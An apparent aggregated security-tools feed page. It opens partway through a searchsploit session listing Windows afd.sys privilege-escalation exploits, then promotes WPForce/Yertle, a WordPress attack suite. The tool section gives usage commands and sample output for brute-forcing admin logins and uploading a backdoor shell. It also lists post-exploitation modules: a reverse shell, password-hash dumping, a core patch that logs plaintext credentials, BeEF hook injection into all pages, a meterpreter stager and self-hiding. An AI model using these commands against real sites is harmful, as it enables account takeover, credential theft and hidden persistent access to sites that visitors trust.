    Microsoft Windows 2003/XP - 'afd.sys' Privilege Escalation (K-plugin) (MS08-066) | ./windows/local/6757.txt
    Microsoft Windows XP/2003 - 'afd.sys' Privilege Escalation (MS11-080) | ./windows/local/18176.py
    Microsoft Windows - 'AfdJoinLeaf' Privilege Escalation (MS11-080) (Metasploit) | ./windows/local/21844.rb
    Microsoft Windows - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) | ./win_x86/local/39446.py
    Microsoft Windows 7 (x64) - 'afd.sys' Privilege Escalation (MS14-040) | ./win_x86-64/local/39525.py
    Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (MS11-046) | ./windows/local/40564.c
    --------------------------------------------------------------------------------- ----------------------------------
    root@kali:~#
    root@kali:~# searchsploit -p 39446
    Exploit: Microsoft Windows - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)
    URL: https://www.exploit-db.com/exploits/39446/
    Path: /usr/share/exploitdb/platforms/win_x86/local/39446.py

    Copied EDB-ID 39446's path to the clipboard.

    root@kali:~#
    SearchSploit requires either "CoreUtils" or "utilities" (e.g. bash, sed, grep, awk, etc.) for the core features to work. The self updating function will require git, and the Nmap XML option to work, will require xmllint (found in the libxml2-utils package in Debian-based systems).


    WPForce - Wordpress Attack Suite

    $
    0
    0

    WPForce is a suite of Wordpress Attack tools. Currently this contains 2 scripts - WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Yertle also contains a number of post exploitation modules.


    Features:
    • Brute Force via API, not login form bypassing some forms of protection
    • Can automatically upload an interactive shell
    • Can be used to spawn a full featured reverse shell
    • Dumps WordPress password hashes
    • Can backdoor authentication fuction for plaintext password collection
    • Inject BeEF hook into all pages
    • Pivot to meterpreter if needed

    Install:
    Yertle requires the requests libary to run.
    http://docs.python-requests.org/en/master/user/install/

    Usage:
    python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"

    ,-~~-.___. __ __ ____ _____
    / | x \ \ \ / /| _ \ | ___|___ _ __ ___ ___
    ( ) 0 \ \ /\ / / | |_) || |_ / _ \ | '__|/ __|/ _ \.
    \_/-, ,----' ____ \ V V / | __/ | _|| (_) || | | (__| __/
    ==== || \_ \_/\_/ |_| |_| \___/ |_| \___|\___|
    / \-'~; || |
    / __/~| ...||__/|-" Brute Force Attack Tool for Wordpress
    =( _____||________| ~n00py~

    Username List: usr.txt (3)
    Password List: pass.txt (21)
    URL: http://www[website].com
    --------------------------
    [xxxxxxxxxxxxx@gmail.com : xxxxxxxxxxxxx] are valid credentials! - THIS ACCOUNT IS ADMIN
    --------------------------
    --------------------------
    [xxxxxxxxxxxxx@icloud.com : xxxxxxxxxxxx] are valid credentials!
    --------------------------
    100% Percent Complete
    All correct pairs:
    {'xxxxxxxxxxxxx@icloud.com': 'xxxxxxxxxxxxx', 'xxxxxxxxxxxxx@gmail.com': 'xxxxxxxxxxxxx'}

    -h, --help show this help message and exit
    -i INPUT, --input INPUT
    Input file name
    -w WORDLIST, --wordlist WORDLIST
    Wordlist file name
    -u URL, --url URL URL of target
    -v, --verbose Verbose output. Show the attemps as they happen.
    -t THREADS, --threads THREADS
    Determines the number of threads to be used, default
    is 10
    -a AGENT, --agent AGENT
    Determines the user-agent
    -d, --debug This option is used for determining issues with the
    script.


    python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i
    _..---.--. __ __ _ _
    .'\ __|/O.__) \ \ / /__ _ __| |_| | ___
    /__.' _/ .-'_\ \ V / _ \ '__| __| |/ _ \.
    (____.'.-_\____) | | __/ | | |_| | __/
    (_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___|
    (_..)--(.._)'--' ~n00py~
    Post-exploitation Module for Wordpress

    Backdoor uploaded!
    Upload Directory: ebwhbas
    os-shell>



    -h, --help show this help message and exit
    -i, --interactive Interactive command shell
    -r, --reverse Reverse Shell
    -t TARGET, --target TARGET
    URL of target
    -u USERNAME, --username USERNAME
    Admin username
    -p PASSWORD, --password PASSWORD
    Admin password
    -li IP, --ip IP Listener IP
    -lp PORT, --port PORT
    Listener Port
    -v, --verbose Verbose output.
    -e EXISTING, --existing EXISTING
    Skips uploading a shell, and connects to existing
    shell

    Yertle currently contains these modules:
    Core Commands
    =============

    Command Description
    ------- -----------
    ? Help menu
    beef Injects a BeEF hook into website
    exit Terminate the session
    hashdump Dumps all WordPress password hashes
    help Help menu
    keylogger Patches WordPress core to log plaintext credentials
    keylog Displays keylog file
    meterpreter Executes a PHP meterpreter stager to connect to metasploit
    quit Terminate the session
    shell Sends a TCP reverse shell to a netcat listener
    stealth Hides Yertle from the plugins page


    Viewing all 5816 articles
    Browse latest View live


    <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>